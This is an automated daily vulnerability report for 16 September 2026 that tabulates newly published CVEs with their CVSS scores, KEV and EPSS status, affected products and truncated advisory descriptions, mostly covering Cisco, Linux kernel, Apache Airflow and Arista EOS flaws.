

Daily Vulnerability Report - 2026-09-16

Window (UTC): 2026-09-16T00:00 to 2026-09-17T00:00 | Sources: NVD, CISA KEV, EPSS, Vulnrichment, GHSA, OSV | Generated 2026-09-18 11:27:37 UTC

Total	New	Updated	KEV added	KEV	Critical	High	Medium	Unscored	Watchlist
958	954	2	2	3	97	394	224	209	134

New today - published in this report window

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-76460	New	10.0	CRIT	Yes		cisco:identity_services_engine, cisco:identity_services_engine_passive_identity_connector	A vulnerability in an API of Cisco Identity Services Engine (ISE) could allow an unauthenticated, remote attacker to bypass authentication. This vulnerability is due to insufficient authentication control on an API endpoint. An attacker could exploit this vulnerability by sending a crafted request to an affected API endpoint. A successful exploit could allow the attacker ...
CVE-2026-20130	New	10.0	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC), engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulne...
CVE-2026-20192	New	10.0	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulner...
CVE-2026-70416	New	10.0	CRIT				Dell ObjectScale, versions prior to 4.4.0.0, contains a Deserialization of Untrusted Data vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Remote execution.
CVE-2026-76423	New	10.0	CRIT				A vulnerability in the REST API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to gain administrative access to an affected device. This vulnerability is due to the REST API web service being exposed with insufficient authorization checks. An attacker could exploit this vulnerability by sending a crafted HTTP request to the exposed REST API...
CVE-2026-92808	New	10.0	CRIT				A server-side request forgery (SSRF) vulnerability exists in the UnifiedLogin service of Altium Enterprise Server. An unauthenticated network attacker can cause the server to issue outbound HTTP requests to a destination of the attacker's choosing, including internal services that are reachable only from the server itself. One such internal service exposes server configu...
CVE-2026-20234	New	9.9	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulner...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-20307	New	9.9	CRIT				A vulnerability in the web-based management interface of Cisco ISE could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device. To exploit this vulnerability, the attacker must have at least low-privileged administrative credentials. This vulnerability is due to insecure deserialization of a user-sup...
CVE-2026-20322	New	9.9	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20322 are related to improper acc...
CVE-2026-20324	New	9.9	CRIT				A vulnerability in the sftunnel inter-device communication protocol of Cisco Secure Firewall Management Center (FMC) Software could allow an authenticated, remote attacker to execute arbitrary commands as root. This vulnerability exists because a registered sftunnel peer has incorrect permissions to write an arbitrary file to any location on the device. An attacker could ...
CVE-2026-20325	New	9.9	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20325 are related to improper neu...
CVE-2026-20329	New	9.9	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses m...
CVE-2026-20330	New	9.9	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses m...
CVE-2026-20332	New	9.9	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses m...
CVE-2025-56563	New	9.8	CRIT				A Server-Side Request Forgery vulnerability exists in sat_proxy.php in Zenith Satellite Tracker 1.0. The script accepts an attacker-controlled address URL parameter and passes it to curl_setopt(CURLOPT_URL) without host or scheme validation. An unauthenticated remote attacker can leverage this to make arbitrary HTTP and HTTPS requests from the server to internal networks or ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2025-59953	New	9.8	CRIT			pip:lmdeploy	LMDeploy is a toolkit for compressing, deploying, and serving large language models. Starting in version 0.9.1 and prior to version 0.10.2, the LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messa...
CVE-2026-12793	New	9.8	CRIT		0.004		The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.6.2. This is due to the plugin not validating that a submitted form ID belongs to a JetFormBuilder form before parsing the referenced post's content as form schema and executing an Advanced Validation server-side callback. This m...
CVE-2026-14349	New	9.8	CRIT		0.004		The TrueBooker – Appointment Booking and Scheduler System plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.2.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to modify the email address of arbitrary user accounts, including...
CVE-2026-20242	New	9.8	CRIT				A vulnerability in the External Database Access feature of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to execute arbitrary commands as root on an affected device. This vulnerability is due to insecure deserialization of a user-supplied Java byte stream from a host that is configured in the external database ...
CVE-2026-20326	New	9.8	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20326 are related to missing authentic...
CVE-2026-27546	New	9.8	CRIT		0.01		An unauthenticated remote attacker can exploit an authentication bypass in the _account_log function to log in as an admin, even when accounts are properly configured.
CVE-2026-27565	New	9.8	CRIT		0.009		An unauthenticated remote attacker can upload a malicious IODD file that places and executes a shell script with root privileges. The shell script remains active even after a reboot.
CVE-2026-51990	New	9.8	CRIT				An issue in Sogou Sogou Input Method < 16.3.0.3498 (fixed in 16.3.0.3498) allows a remote attacker to execute arbitrary code via the biz_helper.exe component
CVE-2026-68536	New	9.8	CRIT				Server-Side Request Forgery / Local File Inclusion in Apache MyFace Core. Older unsupported versions may also be affected. Users are recommended to upgrade to versions 2.3.12, 2.3-next-M9, 3.0.4, 4.0.4, or 4.1.4, which fix this issue.
CVE-2026-76187	New	9.8	CRIT		0.002		Apache Airflow Keycloak provider: the unauthenticated token endpoint accepts a client-credentials grant for any confidential client registered in the Keycloak realm, not only the client configured for Airflow. No allowlist restricts which client ids may authenticate, so the credentials of an unrelated application that happens to share the realm are valid Airflow login creden...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-82311	New	9.8	CRIT		0.002		Apache Airflow FAB provider: resetting a user's password does not delete that user's existing database-backed sessions, despite documented behaviour that it does. The cleanup compares the string identifier Flask-Login stores in the session against the user's integer database identifier, so the comparison never matches and no session is removed. An attacker who already holds ...
CVE-2026-89778	New	9.8	CRIT		0.002		In the Linux kernel, the following vulnerability has been resolved: isofs: fix out-of-bounds page array access on empty zisofs block zisofs_uncompress_block()'s empty-block fast path returns pcount << PAGE_SHIFT, ignoring the incoming poffset, unlike the decompression path which returns bytes produced relative to poffset. zisofs_fill_pages() uses that return to advance its...
CVE-2026-89783	New	9.8	CRIT		0.002		In the Linux kernel, the following vulnerability has been resolved: xfrm6: fix out-of-bounds write in xfrm6_input_addr() when secpath is full The depth check in xfrm6_input_addr() is off by one: if (1 + sp->len == XFRM_MAX_DEPTH) goto drop; ... sp->xvec[sp->len++] = x; xfrm_input() can leave sp->len == XFRM_MAX_DEPTH, and the transport-mode receive path r...
CVE-2026-89788	New	9.8	CRIT		0.002		In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix tree connection use-after-free in smb2_tree_connect() ksmbd_tree_conn_connect() publishes a new tree connection in sess->tree_conns with a single reference and returns its pointer to smb2_tree_connect(). The handler continues to initialize the object and build the response after publication. A c...
CVE-2026-89847	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Avoid double completion in async IOCB timeout qla2x00_async_iocb_timeout() tries to abort a timed-out async IOCB. When qla24xx_async_abort_cmd() fails, both the SRB_LOGIN_CMD path and the SRB_CTRL_VP/default path scan outstanding_cmds[] for the SRB and then call sp->done(sp, QLA_FUNCTION_TIM...
CVE-2026-89857	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Hold qpair lock when sending NVMe LS reject qla_nvme_ls_reject_iocb() allocates from and advances the request ring through __qla2x00_alloc_iocbs() (which assumes the hardware_lock is held) and qla2x00_start_iocbs() (which advances the ring and rings the request-in doorbell), but takes no loc...
CVE-2026-89969	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: nvmet-tcp: fix out-of-bounds write when receiving an over-long PDU nvmet_tcp_try_recv_pdu() reads a PDU header into the fixed 128-byte queue->pdu union, then computes the remaining payload length as queue->left = hdr->hlen - queue->offset + hdgst; and reads that many more bytes into &queue->pdu + queue-...
CVE-2026-89970	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: nvmet-auth: Synchronize timeout work during SQ teardown nvmet_auth_sq_free() cancels auth_expired_work with cancel_delayed_work(). If the work has already started, cancellation does not wait for the callback. Transport teardown can consequently free or reuse the queue containing struct nvmet_sq while nvmet...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89972	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: nvme: add missing SRCU grace period in error path nvme_alloc_ns() error path at out_unlink_ns removes ns from the namespace head siblings list with list_del_rcu(&ns->siblings) but does not wait for SRCU readers before freeing the namespace struct. Multipath code iterates the head->list under srcu_read_lock...
CVE-2026-89990	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: ceph: lock mutex in ceph_mds_check_access() MDS session OPEN handling replaces mdsc->s_cap_auths under mdsc->mutex, freeing the previous array and its strings. ceph_mds_check_access() traverses this array without holding the mutex. A concurrent session reopen can therefore free the array while it is bein...
CVE-2026-90012	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: spi: Fix DMA mapping ownership on partial map failure If RX mapping fails after TX mapping succeeds, __spi_map_msg() unmaps TX but leaves tx_sg_mapped set. If TX mapping fails on a later transfer, mappings created for earlier transfers remain active. In both cases, cur_{tx,rx}_dma_dev have not yet been up...
CVE-2026-90036	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent client use-after-free during blocked-lock reaping A bare lock owner -- its only remaining reference a blocked lock on nn->blocked_locks_lru -- holds a raw pointer to its nfs4_client but no reference keeping the client alive. When the per-net laundromat reaps such a lock, freeing the nbl drops...
CVE-2026-90037	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent client use-after-free during close_lru reaping An nfs4_openowner left on nn->close_lru after its final CLOSE keeps its last closed stateid in oo_last_closed_stid, holding only a raw pointer to its nfs4_client. The laundromat reaps timed-out entries, drops nn->client_lock, and calls nfs4_put_s...
CVE-2026-90038	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent client use-after-free during export state revocation nfsd4_revoke_export_states() has the same use-after-free as nfsd4_revoke_states(): it drops nn->client_lock across revoke_one_stid() and the following read of clp->cl_minorversion, but the stateid reference it holds does not pin the client...
CVE-2026-90042	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: ceph: properly decrypt filenames in vmalloc() buffers The fscrypt subsystem uses the scatterlist crypto API, inheriting its requirement that any buffers are in the linear mapping region. However, the messenger client uses kvmalloc() to create buffers for messages, which will occasionally place those buffer...
CVE-2026-90048	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: fix slab-out-of-bounds write in ni_create_attr_list() ni_create_attr_list() allocates a fixed buffer of al_aligned(record_size) (== record_size) bytes and then walks every attribute of the primary MFT record, writing one ATTR_LIST_ENTRY per attribute and advancing the cursor by le_size(name_len),...
CVE-2026-91843	New	9.8	CRIT				A stack overflow during the unauthenticated login process may allow an attacker to run arbitrary code remotely with root privileges.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92787	New	9.8	CRIT				Feast through 0.66.0 fails to verify JWT token signatures before establishing user identity, allowing attackers to bypass all role-based access control by presenting an unverified token with a hardcoded claim value. Attackers can obtain trusted internal identity and gain unchecked read and write access to all entities, feature views, data sources, and permission policies on ...
CVE-2026-92805	New	9.8	CRIT				UVdesk Community Skeleton through 1.1.8 fails to authenticate or validate installation state on wizard endpoints in ConfigureHelpdesk controller actions. Unauthenticated attackers can repoint the database and create super administrator accounts by submitting crafted requests to wizard endpoints, gaining full control of the instance.
CVE-2026-20331	New	9.6	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses m...
CVE-2026-15640	New	9.5	CRIT		0.003		Under certain conditions a valid SAML IdP response may be used to impersonate another Secret Server user.
CVE-2026-73453	New	9.5	CRIT		0.007		An unauthenticated P4Runtime (Programming Protocol-Independent Packet Processors Runtime) client can achieve arbitrary code execution under certain conditions on affected platforms running Arista EOS configured with P4Runtime. P4Runtime is disabled by default in Arista EOS. By crafting a malicious packet during the initiation of a P4Runtime session, an attacker can obtain co...
CVE-2026-77411	New	9.5	CRIT				RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, readLongstr in read.go returns an empty string and a nil error when a declared AMQP longstr length exceeds 0x7FFFFFFF instead of returning ErrSyntax. The function leaves the declared field bytes unread, while readTable treats the operation as successful and continues parsing from the wrong offset. A malicious or...
CVE-2026-58146	New	9.4	CRIT				WNC T-Mobile 5G Box IDU router is vulnerable to OS command injection vulnerability. The vulnerability exists within the /cgi-bin/portal.cgi endpoint, specifically through the cli_cookie POST parameter. The cli_cookie parameter value is directly concatenated into a find command string without proper sanitization. This allows a remote, unauthenticated attacker to inject and ex...
CVE-2026-73447	New	9.4	CRIT		0.008		A privileged attacker can exploit certain operation to execute arbitrary commands with root privileges, leading to full device compromise. An authenticated user can exploit gRPC Network Security Interface (gNSI) Certz service on Arista EOS-based products to escalate privileges and execute arbitrary OS commands via a crafted Certz Rotate request. The Bootz service is also aff...
CVE-2026-73461	New	9.4	CRIT		0.003		On affected EOS platforms with AAA-based gRPC authorization enabled for OpenConfig, gRPC requests of an authenticated user to OpenConfig may use the wrong privilege level, resulting in an authorization using the wrong AAA method list. This does not impact non-gRPC OpenConfig requests such as NETCONF.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77405	New	9.4	CRIT				RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, tlsConfigFromURI in uri.go creates tls.Config values without setting MinVersion to tls.VersionTLS12. Builds using a Go runtime whose default permits TLS 1.0 or TLS 1.1 can therefore negotiate an obsolete protocol version when connecting through an amqps URI. A network attacker able to influence TLS negotiation w...
CVE-2026-15639	New	9.3	CRIT		0.004		An attacker can craft a malicious link that, if used by a legitimate user, may cause the user's browser to run JavaScript supplied by the attacker.
CVE-2026-40855	New	9.3	CRIT				WNC T-Mobile 5G Box IDU router is vulnerable to a command injection. The vulnerability exists in the ping functionality within the /cgi-bin/portal.cgi endpoint, specifically affecting the ping_ip, ping_size, and ping_times POST parameters. The root cause is the failure to verify and sanitize user-supplied input before incorporating it into a system command. This allows an au...
CVE-2026-58147	New	9.3	CRIT				WNC T-Mobile 5G Box IDU router contains an OS command injection vulnerability in the portal.cgi component's password change functionality. The application improperly neutralizes special elements in the http_passwd_hidden and http_passwdConfirm_hidden parameters, allowing an authenticated attacker to execute arbitrary commands on the underlying operating system with root priv...
CVE-2026-73172	New	9.3	CRIT				Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in the edgserver management service of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows a remote unauthenticated attacker to execute arbitrary OS commands as root via crafted requests to TCP port 5058.
CVE-2026-89082	New	9.3	CRIT				HP has identified potential security vulnerabilities in the HP Advance software that may enable elevation of privilege, remote code execution, or arbitrary file write under certain conditions, impacting the HP Advance server hosting the software.
CVE-2026-89083	New	9.3	CRIT				HP has identified potential security vulnerabilities in the HP Advance software that may enable elevation of privilege, remote code execution, or arbitrary file write under certain conditions, impacting the HP Advance server hosting the software.
CVE-2026-89775	New	9.3	CRIT		0.002		In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Handle negative S1 walk levels in VNCR TLB size evaluation Computing the effects of a TLB invalidation involves looking at the size of the mapping cached by the TLB. For S1 mappings such as VNCR, this is deducted from the combination of the base granule size and the mapping level. However, thi...
CVE-2026-89914	New	9.3	CRIT				In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Sign-extend VA for range-based TLBI invalidation When the decode_range_tlbi() helper was moved to be used for S1 TLBIs, the required sign extension was omitted. Add it. As a result, special care must be taken to not overflow PA bits when this is used for S2 invalidation.
CVE-2026-89915	New	9.3	CRIT				In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Remove VM-wide VNCR mapping counter The global VNCR mapping counter is used to decide whether an L1 provided VNCR page is mapped in L0 on any CPU at the point of dealing with a TLB invalidation. It is incremented when a mapping is made in the fixmap, and decremented when unmapped. As it turns ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89916	New	9.3	CRIT				In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Make VNCR invalidation participate in MMU invalidation retry A VNCR TLB invalidation can occur on one vcpu while another vcpu is faulting in this same page. Without correctly handling this, we can end up with the following scenario: - vcpu A walks the PTs to translate VNCR - before vcpu A is a...
CVE-2026-89918	New	9.3	CRIT				In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Correctly handle end of VA space TLBI invalidation Our TLB invalidation by VA code is based on comparing two ranges, one defined by the TLB, and one defined by the TLBI instruction. Each range is defined by a start and a size. However, the way the comparison is done doesn't account for address...
CVE-2026-89930	New	9.3	CRIT				In the Linux kernel, the following vulnerability has been resolved: KVM: nVMX: Service local TLB flushes on failed nested VM-Enter KVM services local TLB flushes on "full" nested VM-Exits (through __nested_vmx_vmexit()), but not if a nested VM-Enter fails (e.g. due to failed VMCS checks in nested_vmx_enter_non_root_mode()). However, it is possible that KVM had queued TLB ...
CVE-2026-90049	New	9.3	CRIT				In the Linux kernel, the following vulnerability has been resolved: net: skbuff: don't skb_tx_error() the source skb in skb_zerocopy() skb_zerocopy() copies frags from @from into @to. On an skb_orphan_frags() failure it calls skb_tx_error(@from), a destructive operation on the source skb the copy helper does not own. That completes @from's zerocopy uarg and clears SKBFL_AL...
CVE-2026-91104	New	9.3	CRIT				HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.
CVE-2026-91106	New	9.3	CRIT				HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.
CVE-2026-92720	New	9.3	CRIT				Kubero through 3.1.1 fails to apply authentication guards to the notifications API endpoints, allowing unauthenticated attackers to read webhook secrets and service URLs. Attackers can retrieve stored credentials and register malicious webhooks to intercept pipeline events or suppress alerting by deleting existing configurations.
CVE-2026-73456	New	9.2	CRIT				Under certain circumstances on affected platforms running Arista EOS with gRPC Network Packet Sampling Interface (gNPSI) enabled, an unauthenticated gNPSI client can craft a malicious request to allow arbitrary code execution, granting an attacker full administrative control over the compromised switch.
CVE-2026-92576	New	9.2	CRIT				HKUDS nanobot before 0.3.0 contains a server-side request forgery vulnerability in the WebFetchTool component where the _validate_url() function fails to block internal IP ranges and private addresses. Attackers can send messages instructing the bot to fetch cloud metadata endpoints, localhost services, and RFC 1918 addresses to extract IAM credentials and internal service d...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92578	New	9.2	CRIT				WWBN AVideo through 29.0 contains an authentication bypass vulnerability where the stored password hash is accepted as a valid login credential through two independent code paths in loginFromRequest() and encryptPasswordVerify(). Attackers who obtain the stored users.password hash value can authenticate as any user by submitting the hash directly to login endpoints, complete...
CVE-2026-92749	New	9.2	CRIT				SafeLine through 9.4.1 derives the management console session-signing secret from a time-seeded math/rand generator, allowing attackers to reconstruct the key offline. Unauthenticated remote attackers who can bound the install timestamp can regenerate the secret and forge valid administrator session cookies to gain control of protected sites.
CVE-2026-92785	New	9.2	CRIT				Angel through 3.3.0 deserializes untrusted setAlgoMetrics payload using Kryo without class registration or allowlist validation. Unauthenticated network attackers can instantiate arbitrary classes or exhaust coordinator memory by sending crafted serialized objects to the master RPC endpoint.
CVE-2026-15638	New	9.1	CRIT		0.002		An unauthenticated user with access to Secret Server could leverage a padding oracle to decrypt or encrypt data using one of the server's cryptographic keys. The key itself is not exposed.
CVE-2026-20176	New	9.1	CRIT				A vulnerability in Cisco ISE could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device. To exploit this vulnerability, the attacker must have valid high-privileged administrative credentials. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this...
CVE-2026-20194	New	9.1	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC), engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulne...
CVE-2026-20211	New	9.1	CRIT				A vulnerability in Cisco ISE could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device. To exploit this vulnerability, the attacker must have valid high-privileged administrative credentials. This vulnerability is due to insecure deserialization of Java objects by the affected software. An attacker...
CVE-2026-20237	New	9.1	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC), engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulne...
CVE-2026-20284	New	9.1	CRIT				A vulnerability in the SXP REST API of Cisco ISE could allow an authenticated, remote attacker to conduct SQL injection attacks. This vulnerability is due to insufficient validation of user-supplied input in REST API calls. An attacker could exploit this vulnerability by sending crafted input to an affected device. A successful exploit could allow the attacker to view or ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-20305	New	9.1	CRIT				A vulnerability in the diagnostic tools of Cisco ISE and ISE-PIC could allow an authenticated, remote attacker to perform command injection attacks on the underlying operating system and elevate privileges to root. To exploit this vulnerability, the attacker must have valid administrative credentials. This vulnerability is due to improper validation of user-supplied ...
CVE-2026-20306	New	9.1	CRIT				A vulnerability in the REST API of Cisco ISE and ISE-PIC could allow an authenticated, remote attacker to perform command injection attacks on the underlying operating system and elevate privileges to root. To exploit this vulnerability, the attacker must have valid administrative credentials. This vulnerability is due to improper validation of user-supplied input. An att...
CVE-2026-20341	New	9.1	CRIT				A vulnerability in the sftunnel inter-device communication protocol of Cisco Secure FMC Software could allow an authenticated, remote attacker to obtain root privileges. This vulnerability is due to unsecured deserialization of untrusted data over the sftunnel management connection. An attacker could exploit this vulnerability by sending crafted sftunnel remote proce...
CVE-2026-61594	New	9.1	CRIT			pip:djust	djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, the live (WebSocket) transport authorizes a mount via `check_view_auth`, not Django's `View.dispatch()` chain. As a result, standard Django authorization — `LoginRequiredMixin`, `PermissionRequiredMixin`, `UserPassesTestMixin`, `@method_decor...
CVE-2026-75513	New	9.1	CRIT				Marten is a .NET Transactional Document DB and Event Store on PostgreSQL. From version 7.0.0 until 9.13.0, several Marten LINQ and tenant-management paths interpolate runtime, potentially attacker-controlled strings into single-quoted SQL literals without escaping or parameterization. The primary confirmed vector is a dictionary indexer key used by Where filters in src/Marte...
CVE-2026-76186	New	9.1	CRIT		0.002		Apache Airflow Keycloak provider: from Airflow 3.3 the Keycloak auth manager takes a user's identity from the signed Airflow session token but takes the Keycloak access and refresh tokens used for every authorization decision from separate, unauthenticated cookies, and never checks that the two describe the same subject. A user who holds any valid Airflow login of their own,...
CVE-2026-77408	New	9.1	CRIT				RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, the writeShortstr function in write.go casts the byte length of AMQP shortstr property values to uint8 without first rejecting values longer than 255 bytes. An application that accepts an oversized CorrelationId, ReplyTo, MessageId, Expiration, UserId, Appld, ContentType, ContentEncoding, or Type value can there...
CVE-2026-81642	New	9.1	CRIT		0.005		In NLnet Labs Unbound up to and including 1.26.0, a vulnerability was found in the DNSSEC validator that enables denial of service and possible remote code execution as a result of digesting DNSKEYs. A DNSKEY with an owner compression pointer to its own RDATA can overflow the digest buffer. Remote code execution is possible through attacker controlled data. An adversary can ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-86462	New	9.1	CRIT		0.002		Apache Airflow FAB provider: changing a user's password through the Admin user-edit PATCH endpoint does not invalidate that user's existing database-backed sessions. An attacker who already holds a copy of the victim's session cookie keeps full access as that user after the password change, so the password reset does not evict them. Affects deployments using the FAB auth man...
CVE-2026-88592	New	9.1	CRIT				kkFileView >= 4.2.0 is vulnerable to Server-Side Request Forgery (SSRF). The cross-origin file proxy endpoint /getCorsFile is protected by TrustHostFilter against the trust.host whitelist. However, the URL parameter validated by the filter is not the same parameter the controller actually fetches: the filter validates the first non-empty parameter in a fixed priority order, ...
CVE-2026-89779	New	9.1	CRIT		0.002		In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: validate ef->size covers the record's name and value When an EA record has a non-zero ef->size, ntfs_read_ea() only checks that the record fits in the remaining buffer (ea_size > bytes), not that ef->size is large enough to hold the record's own name_len + 1 + elength. A crafted image can pass v...
CVE-2026-89786	New	9.1	CRIT		0.002		In the Linux kernel, the following vulnerability has been resolved: ext4: fix out-of-bounds read in ext4_read_inline_dir() ext4_read_inline_dir() can read a dirent header past the end of its inline buffer, triggering a slab-out-of-bounds read during getdents64(): BUG: KASAN: slab-out-of-bounds in __ext4_check_dir_entry Read of size 2 at addr ffff88800f3dd23c by task e...
CVE-2026-89846	New	9.1	CRIT				In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Bound rsp_info_len to avoid OOB sense-data read In qla2x00_status_entry(), the FWI2 status path advances sense_data and shrinks par_sense_len by rsp_info_len: if (IS_FWI2_CAPABLE(ha)) { sense_data += rsp_info_len; par_sense_len -= rsp_info_len; } rsp_info_len is a 32-bit value taken ...
CVE-2026-90011	New	9.1	CRIT				In the Linux kernel, the following vulnerability has been resolved: scsi: target: iscsi: Reserve a terminator byte for the login payload iscsi_target_check_login_request() rejects a login PDU whose DataSegmentLength exceeds MAX_KEY_VALUE_PAIRS, but the test is '>' and login->req_buf is allocated with exactly MAX_KEY_VALUE_PAIRS bytes. Since iscsit_get_login_rx() receives p...
CVE-2026-92395	New	9.1	CRIT				@fastify/proxy-addr is a Fastify plugin that determines a request's client address behind trusted reverse proxies, and it backs Fastify request.ip and request.ips. In versions 3.0.0 through 5.1.0, a trust subnet written in IPv4-mapped IPv6 notation with an IPv4-sized prefix, such as ::ffff:10.0.0.0/8 instead of the correct ::ffff:10.0.0.0/104, is accepted without error but t...
CVE-2026-92717	New	9.1	CRIT				Covenant through 0.6 registers the CovenantHub SignalR hub without an Authorize attribute, allowing unauthenticated callers to invoke CreateHttpListener and receive a signed JWT token. Attackers can use the obtained token to authenticate against the entire operator API and access grunts, credentials, binaries, events, and the operator roster.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-76420	New	9.0	CRIT				A vulnerability in the internal configuration of the Apache JServ Protocol (AJP) connector for Cisco Secure FMC Software could allow an unauthenticated, remote attacker to impersonate a peer device. This vulnerability is due to incorrect initialization of encryption parameters for the AJP connector at boot time. An attacker could exploit this vulnerability by sending...
CVE-2026-73455	New	8.9	HIGH		0.005		On affected platforms running Arista EOS with Open Shortest Path First version 3 (OSPFv3) configured, a specially crafted packet can cause the OSPFv3 agent to restart unexpectedly.
CVE-2026-77403	New	8.9	HIGH				RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, Connection.openTune in connection.go accepts a server-advertised FrameMax below the AMQP frameMinSize value of 4096 bytes because the connection negotiation loop does not enforce the protocol minimum. A malicious or compromised AMQP broker can therefore advertise an extremely small FrameMax, causing later client...
